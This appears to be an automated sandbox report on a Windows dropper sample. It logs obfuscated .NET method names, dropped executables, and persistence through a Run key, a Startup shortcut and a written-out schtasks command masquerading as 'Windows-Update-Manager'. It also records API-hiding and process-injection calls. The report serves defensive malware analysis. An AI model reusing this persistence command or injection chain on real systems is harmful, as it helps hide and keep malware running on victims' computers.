Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, MTGvqNmbPl5.cs High entropy of concatenated method names: 'Yl5aeartQqC', 'NcIzaYVg7Rz', 'kZp90NWG6Sl', 'sv043Busvf9', 'gZ4CIi5Xue19YIP60e2bTy0P1nwT', 'fDxcO9OpdHB68YOZJ58scl34EV6m', 'LggnoRMcX5qQvQDvW5VgXmaxDZus', 'jibWsaGjOuJgV4crzqjkDL4XoDKy', 'SUBvDysGGtfXwvJLf8mmOO5oIZd2', 'XShMVmZZTOQtUiA2EfZcwvegYvRf'
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, PBt6pVs0ftw.cs High entropy of concatenated method names: 'RO0GWWCppMv', '_2bRAzg2CoJ3', '_85ZKG7Rv91s', 'MPDs6zRJUfl', 'KLdE3oNVXTx', 'yzUaLo2xd7W', 'UdaUM77KYtD', 'NyLsFOCoS73', 'c5S4noyYlcw', 'kprkyHkHYbL'
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, EkyJsjgLqdm.cs High entropy of concatenated method names: '_5clXnEL6lYR', 'WcIzdGqunKV', '_8x6jcEmUjL0', 'P7bbVAPUkII', 'NezeTE2Ync5', 'iJW3KkPTvoM', 'D0BfvS1VH8f', 'F68NxN5j0SD', 'O804UcpFOIs', 'WXUjvvWQgws'
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, dop4CyMtBLO.cs High entropy of concatenated method names: 'EtZKj9qcs460p1NbqcCwq5hLuqvu', 'Xjepa1KJM4l3sBdTYUZ13FHiHf2k', 'jPn4gk6ZDLu8HAFOOUcQvI70vxnl', 'na4oGyUcUoBjmVhZI1qtd8F0ZLHj'
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, cFgUskhv4Iw.cs High entropy of concatenated method names: 'kArtzNVEjaB', '_4TrGEgESr6o', 'EJ6FXdK10tB', 'exLXUS1w5uls8r5MIvK9Gj11rJK9CvW9YEgtebU1564ZExMa1PBNPMtsHbMqBRmde9u0Oasqptde5c8HCc6jcqFrAg9o7', 'PuGaCFBvbUZ8cpXf5uT7AaqQxMP4uf30dPKXgY0JCdLZAGZDx2mU5xsRwNDB8cfeUtmsEkYQiRE8mbsjvhnDUVKXJXALi', 'c0UtyOhshYB5VCmhnIt5qit7S3Y1oxIcnk6cmfsnFxorUDdT10ZU4A2dDAa7vEsyRPsZgWz1BBn7b8I5eyfrPTPKiJ6yO', 'ElrmPflXWg648DHILBz69bJA0tYE104rURTsazRFCLyRUtSSAKnVYzRvjuSxyqUvOXJfdCslzHutXqOn9BfhUl3mKiSev', 'qnE6e5V1BshJkPZwWIXXCrpR3W7jfBLApVBGDxjVfUUri8korJFSoz0SEfqsnn7FHKzIl9LQDrburwa82Lb2nhRoVmSR3', 'bhoP6ZRZTa8yjSykH9vQSFXAVRpp6czrY8b8GycaXMJTvPgfrzCjaJOxykecZphHRSh22cflCBgTZyZLqDk1w5mZe9eCw', 'ngyLFcwte1cCQ7dy8y4rOd66QyxjWKXsGWToQtmIHQily7DSitP0qjX9Y1TSVufxH1UZ1liohRypwutiiij9lM3KBSqLr'
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, 4pii8UzkilO4rmRf9wUZgL8XKPpzk2kydw6glTQH0z12aYLw3jLlXD3gXjyOP8uyxyFKx.cs High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'IHovADM1R23erlSn3elMPoFDw4aS', '_89gwYmCzVeGeAjWvaEcov43Xw93k', 'a0jKeZBmaTXLfIErfs8Rgkn2kC7O', 'bqBQ1Gtp2jf22DhjzPZLwFXkfL53'
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, qqyXkyO2SNe.cs High entropy of concatenated method names: 'LgXc33ID35b', 'J835Ww1tRWo', 'UOqT88aUEey', 'x4AJE5FkEVR', '_3xl0ivSFitqAfgPkfeIuHOasgJB1', '_9IMSOjNVR9MMV4E6uTMJIpX82tkP', 'f49d9SHyRGRropWq60teLs0L0Bi7', 'LwdJarJRI6ltxHnNjW1YW8WIaabK', 'UBOqayl7V10JgbWPtIIChFo3DyLS', 'awxEV2gDqyh5swhgQQKq6avEDyOG'
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, uOe1UFAkBer.cs High entropy of concatenated method names: 'b0IAlj5IAxK', 'I7wvhJPjLA5MO6efvK9Cos4KO9G1', 'AQntsc3Wzt1uMDv7QTUyZLLrtKQk', 'ANiUogc0ceWbWiKXeF8VJa62Ctfc', 'xxMd1nRsiScy7BdmltT0kmOQkL2Q'
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, 4I6EXwQECLj.cs High entropy of concatenated method names: 'KalhHJzzoPv', 'MCJGprphmEXx4PFBXEjAPjSAlxdQ', '_1vh6eol2pFfr2h3JUFgs5muEnjim', 'ZloDwWBI3N0DQkobcirBZfuy523E', 'HFBnE2dAT1aY6UD55zpmjyYkHWtL'
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, m3bwCv6XjQu.cs High entropy of concatenated method names: 'ZgF0yD9vcyi', 'GNGDJ3tb6v0', 'PxYHw7OWUak', 'VtvlZgXCJV4', '_3F32uMe8uHu', '_75BghxYNrij', 'gtZWcJ5SACQ', 'fLW3TOb0nOA', 'yDZE3Q0Ezhu', '_6vJEVKDHSwL'
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, MTGvqNmbPl5.cs High entropy of concatenated method names: 'Yl5aeartQqC', 'NcIzaYVg7Rz', 'kZp90NWG6Sl', 'sv043Busvf9', 'gZ4CIi5Xue19YIP60e2bTy0P1nwT', 'fDxcO9OpdHB68YOZJ58scl34EV6m', 'LggnoRMcX5qQvQDvW5VgXmaxDZus', 'jibWsaGjOuJgV4crzqjkDL4XoDKy', 'SUBvDysGGtfXwvJLf8mmOO5oIZd2', 'XShMVmZZTOQtUiA2EfZcwvegYvRf'
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, PBt6pVs0ftw.cs High entropy of concatenated method names: 'RO0GWWCppMv', '_2bRAzg2CoJ3', '_85ZKG7Rv91s', 'MPDs6zRJUfl', 'KLdE3oNVXTx', 'yzUaLo2xd7W', 'UdaUM77KYtD', 'NyLsFOCoS73', 'c5S4noyYlcw', 'kprkyHkHYbL'
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, EkyJsjgLqdm.cs High entropy of concatenated method names: '_5clXnEL6lYR', 'WcIzdGqunKV', '_8x6jcEmUjL0', 'P7bbVAPUkII', 'NezeTE2Ync5', 'iJW3KkPTvoM', 'D0BfvS1VH8f', 'F68NxN5j0SD', 'O804UcpFOIs', 'WXUjvvWQgws'
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, dop4CyMtBLO.cs High entropy of concatenated method names: 'EtZKj9qcs460p1NbqcCwq5hLuqvu', 'Xjepa1KJM4l3sBdTYUZ13FHiHf2k', 'jPn4gk6ZDLu8HAFOOUcQvI70vxnl', 'na4oGyUcUoBjmVhZI1qtd8F0ZLHj'
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, cFgUskhv4Iw.cs High entropy of concatenated method names: 'kArtzNVEjaB', '_4TrGEgESr6o', 'EJ6FXdK10tB', 'exLXUS1w5uls8r5MIvK9Gj11rJK9CvW9YEgtebU1564ZExMa1PBNPMtsHbMqBRmde9u0Oasqptde5c8HCc6jcqFrAg9o7', 'PuGaCFBvbUZ8cpXf5uT7AaqQxMP4uf30dPKXgY0JCdLZAGZDx2mU5xsRwNDB8cfeUtmsEkYQiRE8mbsjvhnDUVKXJXALi', 'c0UtyOhshYB5VCmhnIt5qit7S3Y1oxIcnk6cmfsnFxorUDdT10ZU4A2dDAa7vEsyRPsZgWz1BBn7b8I5eyfrPTPKiJ6yO', 'ElrmPflXWg648DHILBz69bJA0tYE104rURTsazRFCLyRUtSSAKnVYzRvjuSxyqUvOXJfdCslzHutXqOn9BfhUl3mKiSev', 'qnE6e5V1BshJkPZwWIXXCrpR3W7jfBLApVBGDxjVfUUri8korJFSoz0SEfqsnn7FHKzIl9LQDrburwa82Lb2nhRoVmSR3', 'bhoP6ZRZTa8yjSykH9vQSFXAVRpp6czrY8b8GycaXMJTvPgfrzCjaJOxykecZphHRSh22cflCBgTZyZLqDk1w5mZe9eCw', 'ngyLFcwte1cCQ7dy8y4rOd66QyxjWKXsGWToQtmIHQily7DSitP0qjX9Y1TSVufxH1UZ1liohRypwutiiij9lM3KBSqLr'
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, 4pii8UzkilO4rmRf9wUZgL8XKPpzk2kydw6glTQH0z12aYLw3jLlXD3gXjyOP8uyxyFKx.cs High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'IHovADM1R23erlSn3elMPoFDw4aS', '_89gwYmCzVeGeAjWvaEcov43Xw93k', 'a0jKeZBmaTXLfIErfs8Rgkn2kC7O', 'bqBQ1Gtp2jf22DhjzPZLwFXkfL53'
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, qqyXkyO2SNe.cs High entropy of concatenated method names: 'LgXc33ID35b', 'J835Ww1tRWo', 'UOqT88aUEey', 'x4AJE5FkEVR', '_3xl0ivSFitqAfgPkfeIuHOasgJB1', '_9IMSOjNVR9MMV4E6uTMJIpX82tkP', 'f49d9SHyRGRropWq60teLs0L0Bi7', 'LwdJarJRI6ltxHnNjW1YW8WIaabK', 'UBOqayl7V10JgbWPtIIChFo3DyLS', 'awxEV2gDqyh5swhgQQKq6avEDyOG'
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, uOe1UFAkBer.cs High entropy of concatenated method names: 'b0IAlj5IAxK', 'I7wvhJPjLA5MO6efvK9Cos4KO9G1', 'AQntsc3Wzt1uMDv7QTUyZLLrtKQk', 'ANiUogc0ceWbWiKXeF8VJa62Ctfc', 'xxMd1nRsiScy7BdmltT0kmOQkL2Q'
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, 4I6EXwQECLj.cs High entropy of concatenated method names: 'KalhHJzzoPv', 'MCJGprphmEXx4PFBXEjAPjSAlxdQ', '_1vh6eol2pFfr2h3JUFgs5muEnjim', 'ZloDwWBI3N0DQkobcirBZfuy523E', 'HFBnE2dAT1aY6UD55zpmjyYkHWtL'
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, m3bwCv6XjQu.cs High entropy of concatenated method names: 'ZgF0yD9vcyi', 'GNGDJ3tb6v0', 'PxYHw7OWUak', 'VtvlZgXCJV4', '_3F32uMe8uHu', '_75BghxYNrij', 'gtZWcJ5SACQ', 'fLW3TOb0nOA', 'yDZE3Q0Ezhu', '_6vJEVKDHSwL'
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, MTGvqNmbPl5.cs High entropy of concatenated method names: 'Yl5aeartQqC', 'NcIzaYVg7Rz', 'kZp90NWG6Sl', 'sv043Busvf9', 'gZ4CIi5Xue19YIP60e2bTy0P1nwT', 'fDxcO9OpdHB68YOZJ58scl34EV6m', 'LggnoRMcX5qQvQDvW5VgXmaxDZus', 'jibWsaGjOuJgV4crzqjkDL4XoDKy', 'SUBvDysGGtfXwvJLf8mmOO5oIZd2', 'XShMVmZZTOQtUiA2EfZcwvegYvRf'
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, PBt6pVs0ftw.cs High entropy of concatenated method names: 'RO0GWWCppMv', '_2bRAzg2CoJ3', '_85ZKG7Rv91s', 'MPDs6zRJUfl', 'KLdE3oNVXTx', 'yzUaLo2xd7W', 'UdaUM77KYtD', 'NyLsFOCoS73', 'c5S4noyYlcw', 'kprkyHkHYbL'
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, EkyJsjgLqdm.cs High entropy of concatenated method names: '_5clXnEL6lYR', 'WcIzdGqunKV', '_8x6jcEmUjL0', 'P7bbVAPUkII', 'NezeTE2Ync5', 'iJW3KkPTvoM', 'D0BfvS1VH8f', 'F68NxN5j0SD', 'O804UcpFOIs', 'WXUjvvWQgws'
Drops PE files
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe File created: C:\Users\user\AppData\Local\Temp\sihost.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\svnchost.exe Jump to dropped file

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn Windows-Update-Manager /tr 'C:\Users\user\AppData\Local\Temp\sihost.exe' /sc minute /mo 1 /st 00:01 /f
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svnchost.lnk Jump to behavior
Stores files to the Windows start menu directory
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svnchost.lnk Jump to behavior
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svnchost Jump to behavior
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svnchost Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Code function: 0_2_00007FF6D43386C0 LoadLibraryA,LoadLibraryA,rand,rand,rand,rand,LoadLibraryA,rand,rand,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,GetProcAddress,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,rand,LoadLibraryA,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,VirtualProtect,rand,rand,rand,rand,rand,rand,VirtualProtect,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,InternetOpenA,rand,InternetOpenUrlA,rand,InternetReadFile,realloc,rand,malloc,rand,rand,memcpy,rand,rand,malloc,rand,rand,rand,rand,rand,malloc,rand,rand,rand,rand,rand,rand,rand,rand,VirtualProtect,rand,rand,rand,rand,CreateProcessA,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,VirtualAllocEx,rand,rand,rand,rand,rand,rand,rand,rand,WriteProcessMemory,rand,rand,rand,QueueUserAPC,rand,rand,rand,ResumeThread,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,CopyFileA,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,CreateProcessA,rand,rand,rand,rand,rand,rand,rand,rand,rand, 0_2_00007FF6D43386C0
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
